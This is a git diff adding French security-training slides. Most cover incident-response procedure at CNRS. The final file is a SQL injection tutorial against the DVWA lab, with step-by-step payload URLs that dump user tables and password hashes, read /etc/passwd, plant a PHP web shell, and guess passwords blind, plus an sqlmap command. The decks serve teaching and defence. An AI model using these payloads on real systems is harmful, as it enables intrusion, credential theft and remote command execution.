+* Formation initiale organisée par l'UREC (2006/2007)
+* Méthodologie toujours valable (mais prise en compte de l'évolution des systèmes [linux](https://mycore.core-cloud.net/public.php?service=files&t=f141f3741d356ac95bea7b92287111d7) et [windows](https://mycore.core-cloud.net/public.php?service=files&t=9d00808565b9c8fcd865940008e2b4ac))
+* [Livecd A2IMP](https://mycore.core-cloud.net/public.php?service=files&t=1357ba7c8c2604a71f9695449fe6b39a) mis à jour
+  * Scientific Linux 6.5 avec kernel récent (3.x)
+  * Outils à la racine du CD (pour l'acquisition des données volatiles)
+    * a2impLinux
+    * a2impWin
+  * Outils en mode LiveCD (démarrage du système live pour la sauvegarde des partitions)
+
+
+## Confiner et acquérir <img src="/_/images/PDCA/PDCA-D.png" width="20%" align="right"/>
+
+<div style="text-align: center;">
+    <img src="/_/gdi/images/zalman.jpg" width="70%"/>
+</div>
+
+**Faire l'acquisition des données volatiles avant d'isoler la machine du réseau** permet de récupérer plus d'informations sur le contexte
+
+* connexions réseaux, utilisateurs connectés, processus liés aux activité réseaux, cache, mémoire RAM...
+
+
+## Confiner et acquérir <img src="/_/images/PDCA/PDCA-D.png" width="20%" align="right"/>
+### Collecte des données volatiles
+* Monter l'ISO A2IMP 
+* Utiliser les binaires de l'ISO uniquement
+* Lancer le script d'acquisition correspondant au système
+* Sauvegarder les données récupérées sur un support externe
+
+### cas d'une vm
+* faire un snapshot
+
+
+## Confiner et acquérir  <img src="/_/images/PDCA/PDCA-D.png" width="20%" align="right"/>
+### Arrêter la compromission
+* Arrêter la machine
+* Deconnecter le cale réseau physiquement
+
+### cas d'une vm
+* arrêter la vm
+* désactiver la vm via l'interface de l'hyperviseur
+
+### créer une image disque
+* rebooter sur l'ISO A2IMP
+  * attention à ne pas rebooter sur le système corrompu
+* lancer la copie du disque avec signature
+  * sur un disque externe
\ No newline at end of file
diff --git a/content/slides/1337/md/reagir/06_eradiquer_et_agir.md b/content/slides/1337/md/reagir/06_eradiquer_et_agir.md
new file mode 100644
index 0000000000000000000000000000000000000000..cc09e2b25a5fe11628ff0c5b8229d6616fa06b03
--- /dev/null
+++ b/content/slides/1337/md/reagir/06_eradiquer_et_agir.md
@@ -0,0 +1,117 @@
+## Eradiquer et agir <img src="/_/images/PDCA/PDCA-D.png" width="20%" align="right"/>
+
+<div style="text-align: center;">
+  <img src="/_/gdi/images/Shaun_of_the_Dead.jpg" width="70%"/>
+</div>
+
+
+## Eradiquer et agir <img src="/_/images/PDCA/PDCA-D.png" width="20%" align="right"/>
+* [Un problème de sécurité informatique non-traité est répréhensible](#/1/2)
+* Décider rapidement avec la hiérarchie et la chaine fonctionnelle des suites à donner
+  * Activer la cellule de gestion de crise
+  * Activer les plans de continuité et/ou de reprise
+  * Demander une analyse externe
+  * <a href="http://www.dgdr.cnrs.fr/FSD/securite-systemes/que-faire4.htm">porter plainte en matière de SSI</a> sur le site de la DG
+* Conserver les preuves A2IMP faites à l’étape d’acquisition
+  * Surtout en cas d'analyse judiciaire et/ou CERT
+
+
+## Eradiquer et agir <img src="/_/images/PDCA/PDCA-D.png" width="20%" align="right"/>
+* Communiquer en interne de l’unité
+  * En accord avec la hiérarchie !
+  * Peut être établi au préalable lors de la phase de préparation
+* Communiquer en externe de l’unité
+  * En accord avec la hiérarchie !
+  * signaler l'incident au niveau régional et national (chaîne SSI)
+    * pour les unités multi-établissements
+      * la « convention de site » doit préciser qui est pilote SSI
+
+## Déclarer l'incident <!-- .element: class="fragment" -->
+
+
+## Eradiquer et agir <img src="/_/images/PDCA/PDCA-D.png" width="20%" align="right"/>
+### Déclarer l'incident ... à qui?
+* Fonctionnaire de sécurité de défense (FSD)
+  * Est informé des incidents concernant la protection du potentiel scientifique et technique (PPST)
+  * A délégation pour porter plainte en cas d’intrusion
+* Direction des affaires juridiques (DAJ)
+  * Impliquée dans les dépôts de plainte
+  * Intrusion <i class="fa fa-hand-o-right"></i> FSD
+  * Autres (vol par exemple) <i class="fa fa-hand-o-right"></i> DAJ
+* Correspondant informatique et libertés (CIL)
+  * Impliqué lorsqu’il y a violation de données à caractère personnel
+* Direction de la communication (DirCom)
+  * Impliquée lorsqu’un incident a une exposition médiatique
+* Direction de l’audit interne (DAI)
+  * Vérification que les procédures sont bien conformes
+
+
+## Eradiquer et agir <img src="/_/images/PDCA/PDCA-D.png" width="20%" align="right"/>
+### Déclarer l'incident ... à qui?
+* Délégué régional
+  * Délégation pour certains dépôts de plainte (après avis de la DAJ)
+  * Impliqué dans la gestion de crise
+* Directeur d’unité
+  * Systématiquement informé d’un incident dans son unité
+  * La sécurité est de sa responsabilité
+* Utilisateur
+  * A l’obligation de remonter les incidents SSI
+* Cellule de crise
+* RSSI des autres tutelles
+  * Doivent systématiquement être informés d’un incident
+  * A charge de réciprocité
+* Tenir informer le CERT (ISIRT) qui a signalé l’incident
+
+
+## Eradiquer et agir <img src="/_/images/PDCA/PDCA-D.png" width="20%" align="right"/>
+### Déclarer l'incident ... par qui?
+* Le CSSI (ou le RSSI-Région) enregistre l’incident.
+* Le CSSI, le RSSI-Région et le RSSI partenaire complètent l’enregistrement.
+* Le RSSI CNRS
+
+
+## Eradiquer et agir <img src="/_/images/PDCA/PDCA-D.png" width="20%" align="right"/>
+### Déclarer l'incident ... comment?
+* Formulaire de déclaration d'incident sur l'espace de travail collaboratif dédié à la SSI
+  * [https://extra.core-cloud.net/collaborations/RSSI-CNRS/SitePages/D%c3%a9clarer%20un%20incident.aspx](https://extra.core-cloud.net/collaborations/RSSI-CNRS/SitePages/D%c3%a9clarer%20un%20incident.aspx)
+    * Détails
+    * Machines compromises
+    * Journal
+    * Investigations
+    * Impacts et conséquences de l'incident
+  * [Aide à la gestion des incidents](https://extra.core-cloud.net/collaborations/RSSI-CNRS/SitePages/Aide%20gestion%20des%20incidents.aspx)
+
+Note:
+- ouvrir le formulaire
+- dérouler tous les pop up 
+
+## Eradiquer et agir <img src="/_/images/PDCA/PDCA-D.png" width="20%" align="right"/>
+### Investiguer
+* Trouver les causes de l'incident afin de revenir à une situation normale
+  * En général, un incident a plusieurs causes
+    * Une ou plusieurs [menaces](#menace)
+      * Une ou plusieurs [vulnérabilités](#vulnerabilite)
+        * Techniques
+        * Organisationnelles
+* Si nécessaire, activer une analyse inforensique poussée (type A3IMP)
+  * Coûts
+  * Dégâts causés
+  * Facteurs juridiques et procédure judiciaire
+  * Complexités de l’attaque
+
+
+## Eradiquer et agir <img src="/_/images/PDCA/PDCA-D.png" width="20%" align="right"/>
+### Préparer le retour à la normale
+* Revenir à une situation nominale
+  * Restauration partielle
+  * Eradication des codes malveillants, etc.
+  * Ou, réinstallation complète
+    * Recommandé, surtout en cas de doute !
+    * Importance des sauvegardes et archives !                 
+* Et dans tous les cas s’assurer que l’incident ne se reproduise pas
+  * Durcir les configurations
+  * Changer et durcir les mots de passe et éventuellement les méthodes d'authentification (multifacteur)
+  * Mettre à jour les correctifs de sécurité
+  * Durcir la topologie réseau (VLAN, routage, etc.)
+  * Durcir le filtrage réseau
+  * **Avant de ré-ouvrir le service**
\ No newline at end of file
diff --git a/content/slides/1337/md/reagir/07_recouvrer.md b/content/slides/1337/md/reagir/07_recouvrer.md
new file mode 100644
index 0000000000000000000000000000000000000000..be4774b8db48106ac4614e07b5a1b8d8cfe9d50d
--- /dev/null
+++ b/content/slides/1337/md/reagir/07_recouvrer.md
@@ -0,0 +1,21 @@
+## Recouvrer <img src="/_/images/PDCA/PDCA-C.png" width="20%" align="right"/>
+
+<div style="text-align: center;">
+    <img src="/_/gdi/images/walkertexasranger.jpg" width="70%"/>
+</div>
+
+
+## Recouvrer <img src="/_/images/PDCA/PDCA-C.png" width="20%" align="right"/>
+
+* Objectif: s'assurer d'avoir remis en service un système sain
+  * Actions
+    * Vérifier et valider le comportement du système 
+      * Recettes fonctionnelle et technique avant ré-ouverture
+      * Ré-ouvrir le service en mode nominal ou dégradé
+      * Suivi renforcé du comportement dans les minutes / les heures / les jours (en fonction du contexte) qui suivent la réouverture du service
+        * Analyse quotidienne des traces réseaux et systèmes
+        * Analyse quotidienne des journaux d’audit
+        * Visite quotidienne des urls
+        * Revue quotidienne des résultats Google
+        * Etc.
+* Si nécessaire, mettre en place une supervision à plus long terme
\ No newline at end of file
diff --git a/content/slides/1337/md/reagir/08_consolider.md b/content/slides/1337/md/reagir/08_consolider.md
new file mode 100644
index 0000000000000000000000000000000000000000..a11e8c62c2a4eb7943d5d586519f2ee38f2ef0eb
--- /dev/null
+++ b/content/slides/1337/md/reagir/08_consolider.md
@@ -0,0 +1,75 @@
+## Consolider <img src="/_/images/PDCA/PDCA-A.png" width="20%" align="right"/>
+
+<div style="text-align: center;">
+    <img src="/_/gdi/images/colmater.jpeg" width="70%"/>
+</div>
+
+
+## Consolider <img src="/_/images/PDCA/PDCA-A.png" width="20%" align="right"/>
+### Objectifs</h3>
+* Augmenter le niveau de sécurité
+* Capitaliser l’expérience acquise
+* Accompagner et responsabiliser l’ensemble des acteurs (hiérarchie, prestataires, utilisateurs, etc.)
+
+
+## Consolider <img src="/_/images/PDCA/PDCA-A.png" width="20%" align="right"/>
+### Préparer un bilan de l’incident</h3>
+* Si besoin, effectuer des investigations complémentaires
+  * se faire aider si besoin
+    * Prestataire de confiance
+    * Informaticien CNRS ou partenaire
+    * Réseau SSI
+    * Etc.
+* Ecrire un rapport factuel et détaillé incluant le journal de l’incident
+
+
+## Consolider <img src="/_/images/PDCA/PDCA-A.png" width="20%" align="right"/>
+* Préparer un plan d'amélioration
+  * Proposer des actions concrètes d'amélioration évaluées selon plusieurs critères (charge, coût, complexité, délai, ...) afin de permettre la prise de décision
+  * Si nécessaire, proposer également des améliorations du processus de gestion des incidents de l'entité
+* Compléter par une estimation du coût et des conséquences de la « non-sécurité »
+  * Valoriser les impacts financiers liés à la perte ou la compromission des informations
+  * Valoriser les coûts des actifs supports volés ou perdus
+  * H.J. dédiés à la gestion de l’incident
+  * H.J. perdus dû à l’incident
+  * Perte de confiance ou d’image de marque
+
+
+## Consolider <img src="/_/images/PDCA/PDCA-A.png" width="20%" align="right"/>
+
+<div style="text-align: center;">
+  <a href="https://extra.core-cloud.net/collaborations/RSSI-CNRS/tableau_de_bord/Incidents/R%C3%A9partition%20des%20incidents%20par%20cat%C3%A9gorie.aspx">
+    <img src="/_/gdi/images/stat_cnrs_1.png"/>
+  </a>
+</div>
+
+
+## Consolider <img src="/_/images/PDCA/PDCA-A.png" width="20%" align="right"/>
+
+<div style="text-align: center;">
+  <a href="https://extra.core-cloud.net/collaborations/RSSI-CNRS/tableau_de_bord/Incidents/Statistiques%20mensuelles%20des%20incidents.aspx">
+    <img src="/_/gdi/images/stat_cnrs_2.png"/>
+  </a>
+</div>
+
+
+## Consolider <img src="/_/images/PDCA/PDCA-A.png" width="20%" align="right"/>
+## Clôturer l’incident
+* Dans un délai raisonnable: réaliser un retour d’expérience (fortement recommandé)
+  * Expliquer de façon factuelle en séance ce qu’il s’est passé sur la base du rapport
+  * Inviter les différentes parties prenantes, dont la hiérarchie
+  * Envoyer le rapport et la proposition de plan d’actions à l’avance
+* Impliquer la hiérarchie
+  * Si possible et si nécessaire, lors de la même séance, faire évoluer et dans tous les cas, faire valider le plan d'actions par les parties prenantes et la hiérarchie
+* A la fin de cette séance, même s’il reste des actions, l’incident peut être considéré clôturé.
+
+
+## Clôturer l’incident <img src="/_/images/PDCA/PDCA-A.png" width="20%" align="right"/>
+### Actions post-incidents</h3>
+* Consolider (Créer) la base d'incidents
+* Consolider (Commencer) l‘analyse de risque
+* Suivre le plan d'actions
+  * Intégrer le suivi de réalisation de ces actions dans un comité existant (recommandé) ou créer un comité ad-hoc
+  * Rendre compte à la hiérarchie de l’avancée des actions
+* Partager la mésaventure et l’expérience avec les réseaux d’informaticiens
+* S’il y a eu dépôt de plainte, répondre aux services de police et suivre l’avancée des procédures judiciaires
\ No newline at end of file
diff --git a/content/slides/1337/md/reagir/09_erreurs_a_eviter.md b/content/slides/1337/md/reagir/09_erreurs_a_eviter.md
new file mode 100644
index 0000000000000000000000000000000000000000..7724f9c86ef27ab692fdedbfc6760265e131fb9a
--- /dev/null
+++ b/content/slides/1337/md/reagir/09_erreurs_a_eviter.md
@@ -0,0 +1,75 @@
+## Erreurs à éviter
+<div style="text-align: center;">
+    <img src= "/_/gdi/images/erreurs_a_eviter.png" width="90%"/>
+</div>
+
+
+## Erreurs à éviter
+* Ne pas déclarer, dissimuler les incidents
+  * Outil pour la saisie des incidents
+    * Pourquoi investir dans la sécurité s’il n’y a jamais d’incident
+    * Traiter mais oublier de déclarer l'incident
+  * Minimiser la gravité de l'incident
+  * Sur-réagir à l'incident
+  * Ne pas demander aide et conseils
+    * Aucune honte
+    * Nécessaire recul
+    * Réseau d’experts
+  * Ne pas distinguer les incidents liés à la sécurité de l’information de ceux qui ne le sont pas
+    * Surcharge des équipes en charge de la SSI: un bourrage d’imprimante n’est pas un incident SSI même, si c’est très important pour l’utilisateur
+
+
+## Erreurs à éviter
+* Vouloir aller trop vite
+  * Ne pas prendre les mesures conservatoires et ne pas recueillir les éléments qui serviront à l’analyse et aux preuves
+  * Rétablir un service avant d’être sûr d’avoir compris ce qu’il s’est passé et d’avoir comblé les failles
+  * Céder à la pression des utilisateurs
+* Avoir des descriptions incomplètes ou imprécises des incidents
+* Ne pas se rendre compte que l'on dispose d'informations fausses ou incomplètes
+* Détruire des preuves
+  * Lancer des outils de détection directement sur la machine et non pas sur une copie des informations
+  * Réinstaller avant d’avoir recueilli et sauvegardé toutes les informations
+
+
+## Erreurs à éviter
+* Mal communiquer
+  * Oublier de prévenir la hiérarchie
+  * Trop communiquer
+  * Ne pas informer les gens ayant besoin d'en connaitre
+* Ne pouvoir contenir et éradiquer l’incident
+* Se refaire compromettre par la même faiblesse
+* Ne pouvoir rétablir un environnement sain
+* Ne pas faire de retour d’expérience
+* Si la faille dépasse l'unité, poursuivre l'analyse sur un dispositif distant sans l'autorisation du propriétaire
+* Engager une contre-attaque
+  * Illégal
+  * Imputation très difficile, risque de se tromper de cible
+  * L’attaquant est très fort et peut réagir violemment
+
+
+## Recommandations
+* Faire de la veille technologique et recevoir les bulletins d'alertes
+* Être préparé
+  * Essentiel pour pouvoir réagir correctement en situation de stress, de crise
+  * Disposer des outils
+    * Les tester régulièrement
+    * Les maintenir à jour
+  * Connaître / Documenter les procédures
+  * S’entraîner, faire des simulations d’incident
+  * Tester régulièrement les sauvegardes et les restaurations
+  * Avoir des outils automatiques d’installation de machines (facilite la réinstallation)
+
+
+## Recommandations
+* Ne pas attendre d’avoir toutes les informations pour déclarer un incident
+  * Indiquer si on n’est pas sûr d’une information
+  * Compléter, corriger par la suite
+* Traiter la découverte d’une vulnérabilité comme un incident
+  * Quasi incident
+  * Retour d’expérience, amélioration
+* Impliquer la hiérarchie
+* Communiquer
+  * Délicat mais essentiel
+  * Adapter le discours aux différentes parties prenantes
+  * Le meilleur communicant n’est pas celui qui a les mains dans le cambouis, faire passer les messages par la direction 
+* Maitriser son périmètre informatique
\ No newline at end of file
diff --git a/content/slides/1337/md/reagir/10_conclusions.md b/content/slides/1337/md/reagir/10_conclusions.md
new file mode 100644
index 0000000000000000000000000000000000000000..91d0b6195dd806acffcd46320572a15018acadde
--- /dev/null
+++ b/content/slides/1337/md/reagir/10_conclusions.md
@@ -0,0 +1,30 @@
+        
+## Conclusions
+
+<div style="text-align: center;">
+    <img src= "/_/gdi/images/Monsieur-Cyclopede.jpg" width="90%"/>
+</div>
+
+
+## Conclusions
+* Bien déterminer le type d'incident
+  * pour appliquer la bonne procédure
+* Bien caractériser l'incident
+  * Pour améliorer l’appréciation des risques
+  * Pour une remontée efficace
+  * Pour Estimer le coût de la non sécurité
+* Traiter aussi les évènements et les vulnérabilités
+
+
+## Ressources complémentaires
+* [DSI pôle ARESU - Sécurité](https://aresu.dsi.cnrs.fr/spip.php?rubrique16)
+* [Tous les documents de l'ANF Gestion des incidents](https://extra.core-cloud.net/collaborations/RSSI-CNRS/Formation%20%20Gestion%20des%20Incidents/Forms/AllItems.aspx)
+  * [les documents de la DR17 qui ont servis pour la mise à jour de cette présentation (MERCI!)](https://extra.core-cloud.net/collaborations/RSSI-CNRS/Formation%20%20Gestion%20des%20Incidents/Forms/AllItems.aspx?RootFolder=%2Fcollaborations%2FRSSI-CNRS%2FFormation%20%20Gestion%20des%20Incidents%2FFormation%20-%20Gestion%20des%20Incidents%202014%2FDR17&FolderCTID=0x012000859DA60215B6CA43B5033CAD99231941&View={45010E28-1540-4E48-B20B-06496674B54F})
+* [ENISA - Good Practice Guide for Incident Management](https://www.enisa.europa.eu/activities/cert/support/incident-management)
+* [ISO27035 (Information security incident management)](http://www.iso27001security.com/html/27035.html)
+* [PSSIE](http://www.ssi.gouv.fr/IMG/pdf/pssie_anssi.pdf)
+* [Objectifs de sécurité [ANSSI]](http://www.ssi.gouv.fr/IMG/pdf/20140310_Objectifs_de_cybersecurite_document_public.pdf)
+* [Charte informatique du CNRS](http://www.cil.cnrs.fr/CIL/IMG/pdf/charte_info.pdf)
+
+        
+            
\ No newline at end of file
diff --git a/content/slides/1337/md/sqli.md b/content/slides/1337/md/sqli.md
new file mode 100644
index 0000000000000000000000000000000000000000..47c63007582685baaaa45ae89e239d4da463ed79
--- /dev/null
+++ b/content/slides/1337/md/sqli.md
@@ -0,0 +1,398 @@
+# Injection SQL
+
+![SQLi](images/sqli/sqlinjection_comics.png "SQLi")
+
+## aka SQLi
+
+
+### <i class="fa fa-cogs"></i> Principe
+* Une application envoie des données
+  * non *assinies* à un interpréteur
+* L'attaquant envoie des séquences de texte permettant d'exploiter l'interpréteur visé
+  * toutes sources de données peut être utilisées
+      * paramètres HTTP, PATH_INFO, cookies, en-têtes HTTP, fichiers uploadés
+      * au niveau de la reque et [et de la réponse <i class="fa fa-reddit"></i>](http://i.imgur.com/8khrzf9.png)
+
+
+### <i class="fa fa-user-secret"></i> Que peut on faire?
+* Lire des données "protégées"
+* Corrompre des données
+* Dénis de services
+* Lecture / écriture sur le système de fichiers
+* Exécution de commandes arbitraires
+
+Note:
+- marche pour tout interpréteur LDAP, XML, bash (shellshock)
+- détectable aux messages d'erreur en cas d'input invalide
+  - SQL universel ce qui rend la faille très populaire
+    - au moment de l'exploitation il faut connaître le SGBD poru aller plus loin
+      - écriture dans des fichiers
+      - passer des commandes via xp_commandshell pour un server MSSQL
+- potentielle compromission totale
+  - exécution de code
+  - backdoor
+  - local root exploit
+
+
+## [Différents types](https://www.linkedin.com/grp/post/36874-130061102)
+
+#### [<i class="fa fa-eye"></i> Error-based]((https://www.owasp.org/index.php/SQL_Injection))
+* Les messages d'erreur mysql sont accessibles
+
+#### [<i class="fa fa-check-square"></i> Boolean (Blind)](https://www.owasp.org/index.php/Blind_SQL_Injection)
+
+* Pas de message d'erreur
+* Un comportement différent selon que la requête est valide ou non
+  * nécessite en général d'itérer
+    * avec un LIKE par exemple pour déduire lettre par lettre
+
+
+## [Différents types](https://www.linkedin.com/grp/post/36874-130061102)
+
+#### [<i class="fa fa-eye-slash"></i> (true) Blind](https://www.owasp.org/index.php/Blind_SQL_Injection)
+
+* Pas de message d'erreur
+* Pas de moyen de savoir si la requête est valide ou non
+  * cas d'une redirection systématique
+  * nécessite en général d'itérer
+  * avec un LIKE par exemple pour déduire lettre par lettre
+
+Note:
+- boolean type: formulaire d'authentification
+  - erreur en cas d'échec
+    - drapeau rouge
+  - home page en cas de succés
+    - drapeau vert
+  - attention une 404 ou une 500 peut être le drapeau vert
+- blind typique
+  - accès à un contenu privé www.example.org/display.php?item=1'
+    - redirige systématiquement sur la page d'authentification
+      - l'idée est de charger la requête et de chronomtérer le temps d'exécution
+        - une requête invalide ne sera pas exécuté donc le temps de réponse sera inférieur au temps d'une requêt valide qui sera exécuté
+        - Benchmark() MySQL
+        - WaitFor() MSSQ
+
+
+## <i class="fa fa-eye"></i> [SQLi](https://www.owasp.org/index.php/SQL_Injection) Error-based
+
+L'idée est d'utiliser les commentaires pour terminer prématurément l'exécution du SQL
+
+```php
+$id = $_GET['id'];
+$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";
+$result = mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' );
+$num = mysql_numrows($result);
+$i = 0;
+while ($i < $num) {
+   $first = mysql_result($result,$i,"first_name");
+   $last = mysql_result($result,$i,"last_name");
+   echo '<pre>';
+   echo 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last;
+   echo '</pre>';
+   $i++;
+}
+```
+
+
+## <i class="fa fa-eye"></i> [SQLi](https://www.owasp.org/index.php/SQL_Injection) Error-based
+
+détectable en tentant une simple **'** en entrée
+
+```http
+http://dv.wa/vulnerabilities/sqli/?id='&Submit=Submit#
+```
+
+produit
+
+```
+You have an error in your SQL syntax; check the manual
+that corresponds to your MySQL server version for
+the right syntax to use near ''''' at line 1
+```
+
+intéressant!
+
+
+## [SQL Injection - security low](http://dv.wa/vulnerabilities/sqli_blind/)  
+
+sensible à (version human readable)
+
+```http
+http://dv.wa/vulnerabilities/sqli/?id=' OR 1=1#&Submit=Submit
+```
+
+soit en version encodée
+
+```http
+http://dv.wa/vulnerabilities/sqli/?id=%27+OR+1%3D1+%3B%23%23&Submit=Submit
+```
+
+affiche la liste de tous les utilisateurs
+
+** <i class="fa fa-bomb"></i> on peut mieux faire !! **
+
+Note:
+- je donne les urls en mode human readable
+  - les valeurs sont à copier dans le champs
+    - PAS dans l'url
+- se détecte avec juste ' ou en fuzzant plus large
+  - fuzzdb/attack-playloads/sql-injection/detect/MySQL.fuzz.txt
+  - fuzzdb/attack-playloads/attack-payloads/all-attacks
+    - tester avec Burp
+    - avec la hackbar
+    - mettre un flag grep SQL
+    - filtrer par length, error, et flag SQL
+
+
+## [SQL Injection - security low](http://dv.wa/vulnerabilities/sqli_blind/)  
+
+```http
+http://dv.wa/vulnerabilities/sqli/?id=' OR 1=1 ORDER BY 5#&Submit=Submit
+```
+
+affiche un message d'erreur
+
+```http
+http://dv.wa/vulnerabilities/sqli/?id=' OR 1=1 ORDER BY 2#&Submit=Submit
+```
+
+est exécutée
+
+```http
+http://dv.wa/vulnerabilities/sqli/?id=' OR 1=1 ORDER BY 3#&Submit=Submit
+```
+
+affiche un message d'erreur
+
+**<i class="fa fa-trophy"></i> par dichotomie**
+
+**il y a 2 champs dans la clause SELECT**
+
+Note:
+- va nous permettre d'étendre les requêtes à d'autres tables
+
+
+## [<i class="fa fa-eye"></i> SQLi - security low](http://dv.wa/vulnerabilities/sqli_blind/)  
+
+```http
+http://dv.wa/vulnerabilities/sqli/?id=' OR 1=1  UNION SELECT NULL, user()#&Submit=Submit
+```
+
+affiche l'utilisateur courant (mysqlusername@mysqlhost) à la fin de la liste des users
+
+```http
+http://dv.wa/vulnerabilities/sqli/?id=' or 0=0 UNION SELECT NULL, database()#&Submit=Submit
+```
+
+affiche le nom de la base de données à la fin de la liste des users
+
+
+## [<i class="fa fa-eye"></i> SQLi - security low](http://dv.wa/vulnerabilities/sqli_blind/)  
+
+```http
+http://dv.wa/vulnerabilities/sqli/?id=' AND 1=0 UNION SELECT NULL, table_name FROM information_schema.tables#&Submit=Submit
+```
+
+* affiche toutes les tables via la table virutelle [information_schema](http://dev.mysql.com/doc/refman/5.1/en/information-schema.html)
+  * quand on fait de l'**UNION** de deux tables distincts on parle de **Cross table**
+
+```http
+http://dv.wa/vulnerabilities/sqli/?id=' AND 1=0 UNION SELECT NULL, table_name FROM information_schema.tables WHERE table_name LIKE '%user%'#&Submit=Submit
+```
+
+affiche toutes les tables qui contiennent user
+
+
+## [<i class="fa fa-eye"></i> SQLi - security low](http://dv.wa/vulnerabilities/sqli_blind/)  
+
+```http
+http://dv.wa/vulnerabilities/sqli/?id=' AND 1=0 UNION SELECT NULL, concat(table_name,0x0a,column_name) FROM information_schema.columns WHERE table_name = 'users'#&Submit=Submit
+```
+
+* affiche toutes les champs de la table user
+
+```http
+http://dv.wa/vulnerabilities/sqli/?id=' AND 1=0 UNION SELECT NULL, concat(first_name,0x0a,last_name,0x0a,user,0x0a,password) FROM users#&Submit=Submit
+```
+
+* affiche toutes les valeurs des champs *user* et *password* de la table user
+
+  * reste à brute forcer
+
+
+## [<i class="fa fa-eye"></i> SQLi - security low](http://dv.wa/vulnerabilities/sqli_blind/)  
+
+```http
+http://dv.wa/vulnerabilities/sqli/?id=' AND 1=0 UNION SELECT NULL, benchmark(5000000, encode('MSG', 'pass-phrase')) FROM users#&Submit=Submit
+```
+
+* chiffre 5 000 000 de fois la chaîne 'MSG' en utlisant 'pass-phrase' comme mot de passe
+  * DoS
+  * utile pour les vraies blind SQLi
+
+
+## [<i class="fa fa-eye"></i> SQLi - security low](http://dv.wa/vulnerabilities/sqli_blind/)  
+
+```http
+http://dv.wa/vulnerabilities/sqli/?id=' AND 1=0 UNION SELECT NULL, LOAD_FILE("/etc/passwd")#&Submit=Submit
+```
+
+affiche toutes le contenu du fichier /etc/passwd
+
+```http
+http://dv.wa/vulnerabilities/sqli/?id=' AND 1=0 UNION SELECT NULL, "&lt;?php system(\$_GET[cmd]) ?&gt;" INTO DUMPFILE "/var/www/dvwa/hackable/uploads/shell.php"#&Submit=Submit
+```
+
+écriture du fichier shell.php dans le système de fichiers
+
+```http
+http://dv.wa/hackable/uploads/shell.php?cmd=ls
+```
+execution de commandes systèmes avec les privilèges du thread apache
+
+
+## [<i class="fa fa-eye"></i> SQLi - security medium](http://dv.wa/vulnerabilities/sqli_blind/)
+
+<i class="fa fa-exclamation-circle"></i> le code vulnérable a changé entre low et medium
+
+* utilisation de la fonction [mysql_real_escape_string()](http://php.net/manual/fr/function.mysql-real-escape-string.php)
+  * ajoute un anti-slash aux caractères suivants : NULL, \x00, \n, \r, \, ', " et \x1a.  
+    * contournable en appliquant l'encodage HTTP (HTML URL Encoding) aux caractères injectés
+
+
+## [<i class="fa fa-eye"></i> SQLi - security medium](http://dv.wa/vulnerabilities/sqli_blind/)
+
+```http
+$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";
+```
+
+devient
+
+```http
+$getid = "SELECT first_name, last_name FROM users WHERE user_id = $id";
+```
+
+
+## [<i class="fa fa-eye"></i> SQLi - security medium](http://dv.wa/vulnerabilities/sqli_blind/)
+
+donc l'injection du niveau low
+
+```http
+' OR user_id > 0#
+```
+
+devient pour fonctionner au niveau medium
+
+```http
+1 OR user_id > 0#
+```
+devient une encodée
+
+```http
+1%20OR%20user_id%20%3E%200
+```
+
+et s'injecte directement via l'url
+
+```http
+http://dv.wa/vulnerabilities/sqli/?id=1%20OR%20user_id%20%3E%200&Submit=Submit
+```
+
+Note:
+- à saisir directement dans l'url
+- utiliser plutôt l'encoder de burp
+- sinon hackbar à comparer
+- https://www.information-security.fr/dvwa-sql-injection-solutions-protections/
+
+
+## [SQLmap](http://sqlmap.org/)
+
+* Fait tous le boulot à votre palce
+  * une ligne de commmande
+    * affiche des résultats propres
+    * abstrait
+      * le moteur de base de données
+      * les différentes techniques d'injections
+
+```http
+sqlmap --url "http://dv.wa/vulnerabilities/sqli/?id=1&Submit=Submit#;" --cookie="PHPSESSID=ss07hir39n0drbanfiqh6rt7e2; security=low" --tables
+```
+
+<i class="fa fa-exclamation-circle"></i> remplacer par la valeur de votre jeton de session
+
+
+### [<i class="fa fa-check-square"></i> SQLi (Blind) - security low](http://dv.wa/vulnerabilities/sqli_blind/)  
+
+* on se concentre sur le user 1337 (id=3)
+  * on cherche à deviner son mot de passe
+
+```http
+http://dv.wa/vulnerabilities/sqli_blind/?id=3' AND password LIKE 'a%'#&Submit=Submit
+```
+
+n'affiche rien!! en revanche
+
+```http
+http://dv.wa/vulnerabilities/sqli_blind/?id=3' AND password LIKE '8%'#&Submit=Submit
+```
+
+affiche
+
+```
+ID: 3' AND password LIKE '8%
+First name: Hack
+Surname: Me
+```
+
+
+## <i class="fa fa-eye-slash"></i> [True Blind SQL Injection](https://www.owasp.org/index.php/Blind_SQL_Injection)
+
+* Si aucun output n'est disponible
+  * on ajoute du calcul artificiellement
+    * la requête est valide
+      * le temps de réponse = temps de traitement + temps de calcul artificiel
+    * la requête est invalide
+      * le temps  de réponse = temps de traitement
+
+problématique similaire à une booléenne
+
+Note:
+- discussion sur les vraies blind
+- in fine même problème une fois scripter
+
+
+## <i class="fa fa-medkit"></i> Se préserver
+
+* Filtrage par listes blanches
+  * caster
+    * [intval()](http://php.net/manual/fr/function.intval.php), [floatval()](http://php.net/manual/fr/function.floatval.php), ...
+      * si l'id est toujours un entier ...
+  * échappement des paramètres de requêtes
+    * [stripslashes()](http://php.net/manual/fr/function.stripslashes.php), [mysql_real_escape_string()](http://php.net/manual/fr/function.mysql-real-escape-string.php)
+
+
+## <i class="fa fa-medkit"></i> Se préserver
+
+* Web Application Firewall (WAF)
+    * [mod_security](https://www.modsecurity.org/)
+      * log le POST
+    * <i class="fa fa-fire"></i> [SQL Injection: Les techniques d’évasion de filtres](http://www.mcherifi.org/hacking/sql-injection-les-techniques-devasion-de-filtres.html)
+* Les privilèges de l'utilisateur SQL ont un sens
+  * [FILE](https://dev.mysql.com/doc/refman/5.1/en/privileges-provided.html#priv_file)
+  * attention aux permissions sur la base de données
+    * information_schema ...
+* Changer les préfixes de table des CMS quand c'est possible
+
+
+## <i class="fa fa-medkit"></i> Se préserver
+
+* [Ne plus utiliser les fonctions mysql_ leur préférer mysqli_](http://stackoverflow.com/questions/548986/mysql-vs-mysqli-in-php)
+* Utiliser des requêtes préparée
+  * PDO, ORM : Doctrine2, Propel
+* Être le plus silencieux possibles quant aux requêtes invalides
+  * [@](http://php.net/manual/fr/language.operators.errorcontrol.php) mais pas [or die()](http://php.net/manual/fr/function.die.php)
